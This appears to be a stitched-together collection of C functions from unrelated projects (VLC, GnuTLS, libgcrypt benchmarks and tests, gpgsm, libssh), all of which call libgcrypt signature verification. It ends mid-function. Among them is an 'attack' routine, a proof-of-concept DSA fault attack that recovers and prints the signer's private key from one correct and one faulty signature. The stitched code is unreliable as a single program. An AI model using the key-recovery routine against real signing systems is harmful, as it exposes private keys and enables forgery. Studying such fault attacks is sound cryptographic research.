/*
* Verify an OpenPGP signature made with some DSA public key
*/
static int verify_signature_dsa( signature_packet_t *sign, public_key_packet_t *p_key,
uint8_t *p_hash )
{
int ret = VLC_EGENERIC;
/* the data to be verified (a hash) */
const char *hash_sexp_s = "(data(flags raw)(value %m))";
/* the public key */
const char *key_sexp_s = "(public-key(dsa(p %m)(q %m)(g %m)(y %m)))";
/* the signature */
const char *sig_sexp_s = "(sig-val(dsa(r %m )(s %m )))";
size_t erroff;
gcry_mpi_t p, q, g, y, r, s, hash;
p = q = g = y = r = s = hash = NULL;
gcry_sexp_t key_sexp, hash_sexp, sig_sexp;
key_sexp = hash_sexp = sig_sexp = NULL;
int i_p_len = mpi_len( p_key->sig.dsa.p );
int i_q_len = mpi_len( p_key->sig.dsa.q );
int i_g_len = mpi_len( p_key->sig.dsa.g );
int i_y_len = mpi_len( p_key->sig.dsa.y );
if( gcry_mpi_scan( &p, GCRYMPI_FMT_USG, p_key->sig.dsa.p + 2, i_p_len, NULL ) ||
gcry_mpi_scan( &q, GCRYMPI_FMT_USG, p_key->sig.dsa.q + 2, i_q_len, NULL ) ||
gcry_mpi_scan( &g, GCRYMPI_FMT_USG, p_key->sig.dsa.g + 2, i_g_len, NULL ) ||
gcry_mpi_scan( &y, GCRYMPI_FMT_USG, p_key->sig.dsa.y + 2, i_y_len, NULL ) ||
gcry_sexp_build( &key_sexp, &erroff, key_sexp_s, p, q, g, y ) )
goto out;
uint8_t *p_r = sign->algo_specific.dsa.r;
uint8_t *p_s = sign->algo_specific.dsa.s;
int i_r_len = mpi_len( p_r );
int i_s_len = mpi_len( p_s );
if( gcry_mpi_scan( &r, GCRYMPI_FMT_USG, p_r + 2, i_r_len, NULL ) ||
gcry_mpi_scan( &s, GCRYMPI_FMT_USG, p_s + 2, i_s_len, NULL ) ||
gcry_sexp_build( &sig_sexp, &erroff, sig_sexp_s, r, s ) )
goto out;
int i_hash_len = gcry_md_get_algo_dlen (sign->digest_algo);
if (i_hash_len > i_q_len)
i_hash_len = i_q_len;
if( gcry_mpi_scan( &hash, GCRYMPI_FMT_USG, p_hash, i_hash_len, NULL ) ||
gcry_sexp_build( &hash_sexp, &erroff, hash_sexp_s, hash ) )
goto out;
if( gcry_pk_verify( sig_sexp, hash_sexp, key_sexp ) )
goto out;
ret = VLC_SUCCESS;
out:
if( p ) gcry_mpi_release( p );
if( q ) gcry_mpi_release( q );
if( g ) gcry_mpi_release( g );
if( y ) gcry_mpi_release( y );
if( r ) gcry_mpi_release( r );
if( s ) gcry_mpi_release( s );
if( hash ) gcry_mpi_release( hash );
if( key_sexp ) gcry_sexp_release( key_sexp );
if( sig_sexp ) gcry_sexp_release( sig_sexp );
if( hash_sexp ) gcry_sexp_release( hash_sexp );
return ret;
}
static int
_wrap_gcry_pk_verify (gnutls_pk_algorithm_t algo,
const gnutls_datum_t * vdata,
const gnutls_datum_t * signature,
const gnutls_pk_params_st * pk_params)
{
gcry_sexp_t s_sig = NULL, s_hash = NULL, s_pkey = NULL;
int rc = -1, ret;
bigint_t hash;
bigint_t tmp[2] = { NULL, NULL };
if (_gnutls_mpi_scan_nz (&hash, vdata->data, vdata->size) != 0)
{
gnutls_assert ();
return GNUTLS_E_MPI_SCAN_FAILED;
}
/* make a sexp from pkey */
switch (algo)
{
case GNUTLS_PK_DSA:
if (pk_params->params_nr >= 4)
rc = gcry_sexp_build (&s_pkey, NULL,
"(public-key(dsa(p%m)(q%m)(g%m)(y%m)))",
pk_params->params[0], pk_params->params[1],
pk_params->params[2], pk_params->params[3]);
break;
case GNUTLS_PK_RSA:
if (pk_params->params_nr >= 2)
rc = gcry_sexp_build (&s_pkey, NULL,
"(public-key(rsa(n%m)(e%m)))",
pk_params->params[0], pk_params->params[1]);
break;
default:
gnutls_assert ();
ret = GNUTLS_E_INTERNAL_ERROR;
goto cleanup;
}
if (rc != 0)
{
gnutls_assert ();
ret = GNUTLS_E_INTERNAL_ERROR;
goto cleanup;
}
/* put the data into a simple list */
if (gcry_sexp_build (&s_hash, NULL, "%m", hash))
{
gnutls_assert ();
ret = GNUTLS_E_INTERNAL_ERROR;
goto cleanup;
}
switch (algo)
{
case GNUTLS_PK_DSA:
ret = _gnutls_decode_ber_rs (signature, &tmp[0], &tmp[1]);
if (ret < 0)
{
gnutls_assert ();
goto cleanup;
}
rc = gcry_sexp_build (&s_sig, NULL,
"(sig-val(dsa(r%m)(s%m)))", tmp[0], tmp[1]);
_gnutls_mpi_release (&tmp[0]);
_gnutls_mpi_release (&tmp[1]);
break;
case GNUTLS_PK_RSA:
ret = _gnutls_mpi_scan_nz (&tmp[0], signature->data, signature->size);
if (ret < 0)
{
gnutls_assert ();
goto cleanup;
}
rc = gcry_sexp_build (&s_sig, NULL, "(sig-val(rsa(s%m)))", tmp[0]);
_gnutls_mpi_release (&tmp[0]);
break;
default:
gnutls_assert ();
ret = GNUTLS_E_INTERNAL_ERROR;
goto cleanup;
}
if (rc != 0)
{
gnutls_assert ();
ret = GNUTLS_E_INTERNAL_ERROR;
goto cleanup;
}
rc = gcry_pk_verify (s_sig, s_hash, s_pkey);
if (rc != 0)
{
gnutls_assert ();
ret = GNUTLS_E_PK_SIG_VERIFY_FAILED;
goto cleanup;
}
ret = 0;
cleanup:
_gnutls_mpi_release (&hash);
if (s_sig)
gcry_sexp_release (s_sig);
if (s_hash)
gcry_sexp_release (s_hash);
if (s_pkey)
gcry_sexp_release (s_pkey);
return ret;
}
static void
dsa_bench (int iterations, int print_header)
{
gpg_error_t err;
gcry_sexp_t pub_key[3], sec_key[3];
int p_sizes[3] = { 1024, 2048, 3072 };
int q_sizes[3] = { 160, 224, 256 };
gcry_sexp_t data;
gcry_sexp_t sig = NULL;
int i, j;
err = gcry_sexp_sscan (pub_key+0, NULL, sample_public_dsa_key_1024,
strlen (sample_public_dsa_key_1024));
if (!err)
err = gcry_sexp_sscan (sec_key+0, NULL, sample_private_dsa_key_1024,
strlen (sample_private_dsa_key_1024));
if (!err)
err = gcry_sexp_sscan (pub_key+1, NULL, sample_public_dsa_key_2048,
strlen (sample_public_dsa_key_2048));
if (!err)
err = gcry_sexp_sscan (sec_key+1, NULL, sample_private_dsa_key_2048,
strlen (sample_private_dsa_key_2048));
if (!err)
err = gcry_sexp_sscan (pub_key+2, NULL, sample_public_dsa_key_3072,
strlen (sample_public_dsa_key_3072));
if (!err)
err = gcry_sexp_sscan (sec_key+2, NULL, sample_private_dsa_key_3072,
strlen (sample_private_dsa_key_3072));
if (err)
{
fprintf (stderr, PGM ": converting sample keys failed: %s\n",
gcry_strerror (err));
exit (1);
}
if (print_header)
printf ("Algorithm generate %4d*sign %4d*verify\n"
"------------------------------------------------\n",
iterations, iterations );
for (i=0; i < DIM (q_sizes); i++)
{
gcry_mpi_t x;
x = gcry_mpi_new (q_sizes[i]);
gcry_mpi_randomize (x, q_sizes[i], GCRY_WEAK_RANDOM);
err = gcry_sexp_build (&data, NULL, "(data (flags raw) (value %m))", x);
gcry_mpi_release (x);
if (err)
{
fprintf (stderr, PGM ": converting data failed: %s\n",
gcry_strerror (err));
exit (1);
}
printf ("DSA %d/%d -", p_sizes[i], q_sizes[i]);
fflush (stdout);
start_timer ();
for (j=0; j < iterations; j++)
{
gcry_sexp_release (sig);
err = gcry_pk_sign (&sig, data, sec_key[i]);
if (err)
{
putchar ('\n');
fprintf (stderr, PGM ": signing failed: %s\n",
gpg_strerror (err));
exit (1);
}
}
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
start_timer ();
for (j=0; j < iterations; j++)
{
err = gcry_pk_verify (sig, data, pub_key[i]);
if (err)
{
putchar ('\n');
fprintf (stderr, PGM ": verify failed: %s\n",
gpg_strerror (err));
exit (1);
}
}
stop_timer ();
printf (" %s\n", elapsed_time ());
fflush (stdout);
gcry_sexp_release (sig);
gcry_sexp_release (data);
sig = NULL;
}
for (i=0; i < DIM (q_sizes); i++)
{
gcry_sexp_release (sec_key[i]);
gcry_sexp_release (pub_key[i]);
}
}
static void
ecc_bench (int iterations, int print_header)
{
#if USE_ECC
gpg_error_t err;
int p_sizes[] = { 192, 224, 256, 384, 521 };
int testno;
if (print_header)
printf ("Algorithm generate %4d*sign %4d*verify\n"
"------------------------------------------------\n",
iterations, iterations );
for (testno=0; testno < DIM (p_sizes); testno++)
{
gcry_sexp_t key_spec, key_pair, pub_key, sec_key;
gcry_mpi_t x;
gcry_sexp_t data;
gcry_sexp_t sig = NULL;
int count;
printf ("ECDSA %3d bit ", p_sizes[testno]);
fflush (stdout);
err = gcry_sexp_build (&key_spec, NULL,
"(genkey (ECDSA (nbits %d)))", p_sizes[testno]);
if (err)
die ("creating S-expression failed: %s\n", gcry_strerror (err));
start_timer ();
err = gcry_pk_genkey (&key_pair, key_spec);
if (err)
die ("creating %d bit ECC key failed: %s\n",
p_sizes[testno], gcry_strerror (err));
pub_key = gcry_sexp_find_token (key_pair, "public-key", 0);
if (! pub_key)
die ("public part missing in key\n");
sec_key = gcry_sexp_find_token (key_pair, "private-key", 0);
if (! sec_key)
die ("private part missing in key\n");
gcry_sexp_release (key_pair);
gcry_sexp_release (key_spec);
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
x = gcry_mpi_new (p_sizes[testno]);
gcry_mpi_randomize (x, p_sizes[testno], GCRY_WEAK_RANDOM);
err = gcry_sexp_build (&data, NULL, "(data (flags raw) (value %m))", x);
gcry_mpi_release (x);
if (err)
die ("converting data failed: %s\n", gcry_strerror (err));
start_timer ();
for (count=0; count < iterations; count++)
{
gcry_sexp_release (sig);
err = gcry_pk_sign (&sig, data, sec_key);
if (err)
die ("signing failed: %s\n", gpg_strerror (err));
}
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
start_timer ();
for (count=0; count < iterations; count++)
{
err = gcry_pk_verify (sig, data, pub_key);
if (err)
{
putchar ('\n');
show_sexp ("seckey:\n", sec_key);
show_sexp ("data:\n", data);
show_sexp ("sig:\n", sig);
die ("verify failed: %s\n", gpg_strerror (err));
}
}
stop_timer ();
printf (" %s\n", elapsed_time ());
fflush (stdout);
gcry_sexp_release (sig);
gcry_sexp_release (data);
gcry_sexp_release (sec_key);
gcry_sexp_release (pub_key);
}
#endif /*USE_ECC*/
}
void attack(int i, unsigned char *digest, int hash_len){
gcry_error_t err;
gcry_sexp_t ciphertext , plaintext, ptx2, new_dsa_key_pair;
gcry_sexp_t r_param, r_tilda_param, k_tilda_param, msg_digest_param;
gcry_sexp_t s_param, s_tilda_param;
gcry_sexp_t g_param;
gcry_sexp_t p_param;
gcry_sexp_t q_param;
gcry_sexp_t x_param, y_param;
gcry_mpi_t r , r_tilda, k_tilda, x, y;
gcry_mpi_t s , s_tilda;
gcry_mpi_t g;
gcry_mpi_t p;
gcry_mpi_t q;
gcry_mpi_t msg_digest;
retrieve_key_pair(files[i]);
//*************** CORRECT SIGNATURE ********************//
//20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html
//a well formatted number for the immaediate has an even number of digits
err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest);
err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair);
//now let's convert the s-expression representing r into an MPI in order
//to use it in the equation of the attack
//--------- CIPHERTEXT --------------
r_param = gcry_sexp_find_token(ciphertext, "r", 0);
r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG);
s_param = gcry_sexp_find_token(ciphertext, "s", 0);
s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG);
//--------- PUB KEY --------------
g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0);
g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG);
p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0);
p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG);
q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0);
q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG);
x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0);
x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG);
y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0);
y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG);
unsigned int qbits = mpi_get_nbits(q);
unsigned int pbits = mpi_get_nbits(p);
msg_digest_param = gcry_sexp_find_token(plaintext, "hash", 0);
msg_digest = gcry_sexp_nth_mpi ( msg_digest_param , 2, GCRYMPI_FMT_USG);
//*************** FAULTY SIGNATURE ********************//
err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack))" , "sha1", hash_len , digest);
err = gcry_pk_sign(&ciphertext, ptx2, dsa_key_pair);
s_tilda_param = gcry_sexp_find_token(ciphertext, "s", 0);
s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG);
r_tilda_param = gcry_sexp_find_token(ciphertext, "r", 0);
r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG);
k_tilda_param = gcry_sexp_find_token(ciphertext, "k", 0);
k_tilda = gcry_sexp_nth_mpi ( k_tilda_param , 1, GCRYMPI_FMT_USG);
//POC
// 1 - choose a message
// 2 - do the correct sign and obtain s and r
// 3 - do the faulty sign and obtain s_tilda and r_tilda
gcry_mpi_t tmp = gcry_mpi_new(mpi_get_nbits(p));
gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(p));
gcry_mpi_subm(tmp, s_tilda, s,q); //s-tilda -s mod q
gcry_mpi_mulm(msg_digest, msg_digest, tmp, q); //m* (s-tilda -s mod q) mod q
gcry_mpi_mulm(tmp, r_tilda, s, q); //r_tilda - s mod q
gcry_mpi_mulm(result, s_tilda, r, q); //s_tilda - r mod q
gcry_mpi_subm(result, tmp, result, q); //(r_tilda - s mod q) - (s_tilda - r mod q) mod q
gcry_mpi_invm(result,result,q); //((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q
gcry_mpi_mulm(result, msg_digest, result, q); //( (m* (s-tilda -s mod q) mod q) * ((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q ) mod q == x (private key)
err = gcry_sexp_build(&new_dsa_key_pair,NULL,
"(key-data"
" (public-key"
" (dsa(p%m)(q%m)(g%m)(y%m)))"
" (private-key"
" (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))",
p,q,g,y,p,q,g,y,result);
err = gcry_pk_sign(&ciphertext, plaintext, new_dsa_key_pair);
err = gcry_pk_verify(ciphertext, plaintext, dsa_key_pair);
if (err) {
printf("\nSomething went wrong...\n");
exit(0);
}
if(!printed){
DEBUG_MPI_PRINT(result,"\nX = ");
printed = 1;
}
}
static void
rsa_bench (int iterations, int print_header, int no_blinding)
{
gpg_error_t err;
int p_sizes[] = { 1024, 2048, 3072, 4096 };
int testno;
if (print_header)
printf ("Algorithm generate %4d*sign %4d*verify\n"
"------------------------------------------------\n",
iterations, iterations );
for (testno=0; testno < DIM (p_sizes); testno++)
{
gcry_sexp_t key_spec, key_pair, pub_key, sec_key;
gcry_mpi_t x;
gcry_sexp_t data;
gcry_sexp_t sig = NULL;
int count;
printf ("RSA %3d bit ", p_sizes[testno]);
fflush (stdout);
err = gcry_sexp_build (&key_spec, NULL,
gcry_fips_mode_active ()
? "(genkey (RSA (nbits %d)))"
: "(genkey (RSA (nbits %d)(transient-key)))",
p_sizes[testno]);
if (err)
die ("creating S-expression failed: %s\n", gcry_strerror (err));
start_timer ();
err = gcry_pk_genkey (&key_pair, key_spec);
if (err)
die ("creating %d bit RSA key failed: %s\n",
p_sizes[testno], gcry_strerror (err));
pub_key = gcry_sexp_find_token (key_pair, "public-key", 0);
if (! pub_key)
die ("public part missing in key\n");
sec_key = gcry_sexp_find_token (key_pair, "private-key", 0);
if (! sec_key)
die ("private part missing in key\n");
gcry_sexp_release (key_pair);
gcry_sexp_release (key_spec);
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
x = gcry_mpi_new (p_sizes[testno]);
gcry_mpi_randomize (x, p_sizes[testno]-8, GCRY_WEAK_RANDOM);
err = gcry_sexp_build (&data, NULL,
"(data (flags raw) (value %m))", x);
gcry_mpi_release (x);
if (err)
die ("converting data failed: %s\n", gcry_strerror (err));
start_timer ();
for (count=0; count < iterations; count++)
{
gcry_sexp_release (sig);
err = gcry_pk_sign (&sig, data, sec_key);
if (err)
die ("signing failed (%d): %s\n", count, gpg_strerror (err));
}
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
start_timer ();
for (count=0; count < iterations; count++)
{
err = gcry_pk_verify (sig, data, pub_key);
if (err)
{
putchar ('\n');
show_sexp ("seckey:\n", sec_key);
show_sexp ("data:\n", data);
show_sexp ("sig:\n", sig);
die ("verify failed (%d): %s\n", count, gpg_strerror (err));
}
}
stop_timer ();
printf (" %s", elapsed_time ());
if (no_blinding)
{
fflush (stdout);
x = gcry_mpi_new (p_sizes[testno]);
gcry_mpi_randomize (x, p_sizes[testno]-8, GCRY_WEAK_RANDOM);
err = gcry_sexp_build (&data, NULL,
"(data (flags no-blinding) (value %m))", x);
gcry_mpi_release (x);
if (err)
die ("converting data failed: %s\n", gcry_strerror (err));
start_timer ();
for (count=0; count < iterations; count++)
{
gcry_sexp_release (sig);
err = gcry_pk_sign (&sig, data, sec_key);
if (err)
die ("signing failed (%d): %s\n", count, gpg_strerror (err));
}
stop_timer ();
printf (" %s", elapsed_time ());
fflush (stdout);
}
putchar ('\n');
fflush (stdout);
gcry_sexp_release (sig);
gcry_sexp_release (data);
gcry_sexp_release (sec_key);
gcry_sexp_release (pub_key);
}
}
/* Check against PKCS#1 v1.5 signature test vectors as found at
ftp://ftp.rsa.com/pub/rsalabs/tmp/pkcs1v15sign-vectors.txt . */
static void
check_v15sign (void)
{
#include "pkcs1v2-v15s.h"
gpg_error_t err;
int tno, mno;
for (tno = 0; tno < DIM (tbl); tno++)
{
void *rsa_n, *rsa_e, *rsa_d;
size_t rsa_n_len, rsa_e_len, rsa_d_len;
gcry_sexp_t sec_key, pub_key;
if (verbose > 1)
info ("(%s)\n", tbl[tno].desc);
rsa_n = data_from_hex (tbl[tno].n, &rsa_n_len);
rsa_e = data_from_hex (tbl[tno].e, &rsa_e_len);
rsa_d = data_from_hex (tbl[tno].d, &rsa_d_len);
err = gcry_sexp_build (&sec_key, NULL,
"(private-key (rsa (n %b)(e %b)(d %b)))",
(int)rsa_n_len, rsa_n,
(int)rsa_e_len, rsa_e,
(int)rsa_d_len, rsa_d);
if (err)
die ("constructing private key failed: %s\n", gpg_strerror (err));
err = gcry_sexp_build (&pub_key, NULL,
"(public-key (rsa (n %b)(e %b)))",
(int)rsa_n_len, rsa_n,
(int)rsa_e_len, rsa_e);
if (err)
die ("constructing public key failed: %s\n", gpg_strerror (err));
gcry_free (rsa_n);
gcry_free (rsa_e);
gcry_free (rsa_d);
for (mno = 0; mno < DIM (tbl[0].m); mno++)
{
void *mesg, *sign;
size_t mesg_len, sign_len;
gcry_sexp_t sigtmpl, sig;
char mhash[20];
if (verbose)
info ("running test: %s\n", tbl[tno].m[mno].desc);
mesg = data_from_hex (tbl[tno].m[mno].mesg, &mesg_len);
gcry_md_hash_buffer (GCRY_MD_SHA1, mhash, mesg, mesg_len);
err = gcry_sexp_build (&sigtmpl, NULL,
"(data (flags pkcs1)"
"(hash sha1 %b))",
20, mhash);
if (err)
die ("constructing sig template failed: %s\n", gpg_strerror (err));
gcry_free (mesg);
err = gcry_pk_sign (&sig, sigtmpl, sec_key);
if (err)
{
show_sexp ("sigtmpl:\n", sigtmpl);
fail ("gcry_pk_sign failed: %s\n", gpg_strerror (err));
}
else
{
if (extract_cmp_data (sig, "s", tbl[tno].m[mno].sign,
tbl[tno].m[mno].desc))
{
show_sexp ("sign result:\n", sig);
fail ("mismatch in gcry_pk_sign\n");
}
gcry_sexp_release (sig);
sig = NULL;
}
gcry_sexp_release (sigtmpl);
sigtmpl = NULL;
/* Now test the verification. */
sign = data_from_hex (tbl[tno].m[mno].sign, &sign_len);
err = gcry_sexp_build (&sig, NULL,
"(sig-val(rsa(s %b)))",
(int)sign_len, sign);
if (err)
die ("constructing verify data failed: %s\n", gpg_strerror (err));
err = gcry_sexp_build (&sigtmpl, NULL,
"(data (flags pkcs1)"
"(hash sha1 %b))",
20, mhash);
if (err)
die ("constructing verify tmpl failed: %s\n", gpg_strerror (err));
gcry_free (sign);
err = gcry_pk_verify (sig, sigtmpl, pub_key);
if (err)
{
show_sexp ("sig:\n", sig);
show_sexp ("sigtmpl:\n", sigtmpl);
fail ("gcry_pk_verify failed: %s\n", gpg_strerror (err));
}
gcry_sexp_release (sig);
sig = NULL;
gcry_sexp_release (sigtmpl);
sigtmpl = NULL;
}
gcry_sexp_release (sec_key);
gcry_sexp_release (pub_key);
}
}
/* Check the signature on CERT using the ISSUER-CERT. This function
does only test the cryptographic signature and nothing else. It is
assumed that the ISSUER_CERT is valid. */
int
gpgsm_check_cert_sig (ksba_cert_t issuer_cert, ksba_cert_t cert)
{
const char *algoid;
gcry_md_hd_t md;
int rc, algo;
gcry_mpi_t frame;
ksba_sexp_t p;
size_t n;
gcry_sexp_t s_sig, s_hash, s_pkey;
algo = gcry_md_map_name ( (algoid=ksba_cert_get_digest_algo (cert)));
if (!algo)
{
log_error ("unknown hash algorithm '%s'\n", algoid? algoid:"?");
if (algoid
&& ( !strcmp (algoid, "1.2.840.113549.1.1.2")
||!strcmp (algoid, "1.2.840.113549.2.2")))
log_info (_("(this is the MD2 algorithm)\n"));
return gpg_error (GPG_ERR_GENERAL);
}
rc = gcry_md_open (&md, algo, 0);
if (rc)
{
log_error ("md_open failed: %s\n", gpg_strerror (rc));
return rc;
}
if (DBG_HASHING)
gcry_md_debug (md, "hash.cert");
rc = ksba_cert_hash (cert, 1, HASH_FNC, md);
if (rc)
{
log_error ("ksba_cert_hash failed: %s\n", gpg_strerror (rc));
gcry_md_close (md);
return rc;
}
gcry_md_final (md);
p = ksba_cert_get_sig_val (cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
gcry_md_close (md);
ksba_free (p);
return gpg_error (GPG_ERR_BUG);
}
if (DBG_CRYPTO)
{
int j;
log_debug ("signature value:");
for (j=0; j < n; j++)
log_printf (" %02X", p[j]);
log_printf ("\n");
}
rc = gcry_sexp_sscan ( &s_sig, NULL, (char*)p, n);
ksba_free (p);
if (rc)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (rc));
gcry_md_close (md);
return rc;
}
p = ksba_cert_get_public_key (issuer_cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
log_error ("libksba did not return a proper S-Exp\n");
gcry_md_close (md);
ksba_free (p);
gcry_sexp_release (s_sig);
return gpg_error (GPG_ERR_BUG);
}
rc = gcry_sexp_sscan ( &s_pkey, NULL, (char*)p, n);
ksba_free (p);
if (rc)
{
log_error ("gcry_sexp_scan failed: %s\n", gpg_strerror (rc));
gcry_md_close (md);
gcry_sexp_release (s_sig);
return rc;
}
rc = do_encode_md (md, algo, pk_algo_from_sexp (s_pkey),
gcry_pk_get_nbits (s_pkey), s_pkey, &frame);
if (rc)
{
gcry_md_close (md);
gcry_sexp_release (s_sig);
gcry_sexp_release (s_pkey);
return rc;
}
/* put hash into the S-Exp s_hash */
if ( gcry_sexp_build (&s_hash, NULL, "%m", frame) )
BUG ();
gcry_mpi_release (frame);
rc = gcry_pk_verify (s_sig, s_hash, s_pkey);
if (DBG_X509)
log_debug ("gcry_pk_verify: %s\n", gpg_strerror (rc));
gcry_md_close (md);
gcry_sexp_release (s_sig);
gcry_sexp_release (s_hash);
gcry_sexp_release (s_pkey);
return rc;
}
static void
one_test (int testno, const char *sk, const char *pk,
const char *msg, const char *sig)
{
gpg_error_t err;
int i;
char *p;
void *buffer = NULL;
void *buffer2 = NULL;
size_t buflen, buflen2;
gcry_sexp_t s_tmp, s_tmp2;
gcry_sexp_t s_sk = NULL;
gcry_sexp_t s_pk = NULL;
gcry_sexp_t s_msg= NULL;
gcry_sexp_t s_sig= NULL;
unsigned char *sig_r = NULL;
unsigned char *sig_s = NULL;
char *sig_rs_string = NULL;
size_t sig_r_len, sig_s_len;
if (verbose > 1)
show ("Running test %d\n", testno);
if (!(buffer = hex2buffer (sk, &buflen)))
{
fail ("error building s-exp for test %d, %s: %s",
testno, "sk", "invalid hex string");
goto leave;
}
if (!(buffer2 = hex2buffer (pk, &buflen2)))
{
fail ("error building s-exp for test %d, %s: %s",
testno, "pk", "invalid hex string");
goto leave;
}
if (sign_with_pk)
err = gcry_sexp_build (&s_sk, NULL,
"(private-key"
" (ecc"
" (curve \"Ed25519\")"
" (flags eddsa)"
" (q %b)"
" (d %b)))",
(int)buflen2, buffer2,
(int)buflen, buffer);
else
err = gcry_sexp_build (&s_sk, NULL,
"(private-key"
" (ecc"
" (curve \"Ed25519\")"
" (flags eddsa)"
" (d %b)))",
(int)buflen, buffer);
if (err)
{
fail ("error building s-exp for test %d, %s: %s",
testno, "sk", gpg_strerror (err));
goto leave;
}
if ((err = gcry_sexp_build (&s_pk, NULL,
"(public-key"
" (ecc"
" (curve \"Ed25519\")"
" (flags eddsa)"
" (q %b)))", (int)buflen2, buffer2)))
{
fail ("error building s-exp for test %d, %s: %s",
testno, "pk", gpg_strerror (err));
goto leave;
}
xfree (buffer);
if (!(buffer = hex2buffer (msg, &buflen)))
{
fail ("error building s-exp for test %d, %s: %s",
testno, "msg", "invalid hex string");
goto leave;
}
if ((err = gcry_sexp_build (&s_msg, NULL,
"(data"
" (flags eddsa)"
" (hash-algo sha512)"
" (value %b))", (int)buflen, buffer)))
{
fail ("error building s-exp for test %d, %s: %s",
testno, "msg", gpg_strerror (err));
goto leave;
}
if ((err = gcry_pk_sign (&s_sig, s_msg, s_sk)))
fail ("gcry_pk_sign failed for test %d: %s", testno, gpg_strerror (err));
if (debug)
show_sexp ("sig=", s_sig);
s_tmp2 = NULL;
s_tmp = gcry_sexp_find_token (s_sig, "sig-val", 0);
if (s_tmp)
{
s_tmp2 = s_tmp;
s_tmp = gcry_sexp_find_token (s_tmp2, "eddsa", 0);
if (s_tmp)
{
gcry_sexp_release (s_tmp2);
s_tmp2 = s_tmp;
s_tmp = gcry_sexp_find_token (s_tmp2, "r", 0);
if (s_tmp)
{
sig_r = gcry_sexp_nth_buffer (s_tmp, 1, &sig_r_len);
gcry_sexp_release (s_tmp);
}
s_tmp = gcry_sexp_find_token (s_tmp2, "s", 0);
if (s_tmp)
{
sig_s = gcry_sexp_nth_buffer (s_tmp, 1, &sig_s_len);
gcry_sexp_release (s_tmp);
}
}
}
gcry_sexp_release (s_tmp2); s_tmp2 = NULL;
if (!sig_r || !sig_s)
fail ("gcry_pk_sign failed for test %d: %s", testno, "r or s missing");
else
{
sig_rs_string = xmalloc (2*(sig_r_len + sig_s_len)+1);
p = sig_rs_string;
*p = 0;
for (i=0; i < sig_r_len; i++, p += 2)
snprintf (p, 3, "%02x", sig_r[i]);
for (i=0; i < sig_s_len; i++, p += 2)
snprintf (p, 3, "%02x", sig_s[i]);
if (strcmp (sig_rs_string, sig))
{
fail ("gcry_pk_sign failed for test %d: %s",
testno, "wrong value returned");
show (" expected: '%s'", sig);
show (" got: '%s'", sig_rs_string);
}
}
if (!no_verify)
if ((err = gcry_pk_verify (s_sig, s_msg, s_pk)))
fail ("gcry_pk_verify failed for test %d: %s",
testno, gpg_strerror (err));
leave:
gcry_sexp_release (s_sig);
gcry_sexp_release (s_sk);
gcry_sexp_release (s_pk);
gcry_sexp_release (s_msg);
xfree (buffer);
xfree (buffer2);
xfree (sig_r);
xfree (sig_s);
xfree (sig_rs_string);
}
int sig_verify(ssh_session session, ssh_public_key pubkey,
SIGNATURE *signature, unsigned char *digest, int size) {
#ifdef HAVE_LIBGCRYPT
gcry_error_t valid = 0;
gcry_sexp_t gcryhash;
#elif defined HAVE_LIBCRYPTO
int valid = 0;
#endif
unsigned char hash[SHA_DIGEST_LEN + 1] = {0};
sha1(digest, size, hash + 1);
#ifdef DEBUG_CRYPTO
ssh_print_hexa("Hash to be verified with dsa", hash + 1, SHA_DIGEST_LEN);
#endif
switch(pubkey->type) {
case SSH_KEYTYPE_DSS:
#ifdef HAVE_LIBGCRYPT
valid = gcry_sexp_build(&gcryhash, NULL, "%b", SHA_DIGEST_LEN + 1, hash);
if (valid != 0) {
ssh_set_error(session, SSH_FATAL,
"RSA error: %s", gcry_strerror(valid));
return -1;
}
valid = gcry_pk_verify(signature->dsa_sign, gcryhash, pubkey->dsa_pub);
gcry_sexp_release(gcryhash);
if (valid == 0) {
return 0;
}
if (gcry_err_code(valid) != GPG_ERR_BAD_SIGNATURE) {
ssh_set_error(session, SSH_FATAL,
"DSA error: %s", gcry_strerror(valid));
return -1;
}
#elif defined HAVE_LIBCRYPTO
valid = DSA_do_verify(hash + 1, SHA_DIGEST_LEN, signature->dsa_sign,
pubkey->dsa_pub);
if (valid == 1) {
return 0;
}
if (valid == -1) {
ssh_set_error(session, SSH_FATAL,
"DSA error: %s", ERR_error_string(ERR_get_error(), NULL));
return -1;
}
#endif
ssh_set_error(session, SSH_FATAL, "Invalid DSA signature");
return -1;
case SSH_KEYTYPE_RSA:
case SSH_KEYTYPE_RSA1:
#ifdef HAVE_LIBGCRYPT
valid = gcry_sexp_build(&gcryhash, NULL,
"(data(flags pkcs1)(hash sha1 %b))", SHA_DIGEST_LEN, hash + 1);
if (valid != 0) {
ssh_set_error(session, SSH_FATAL,
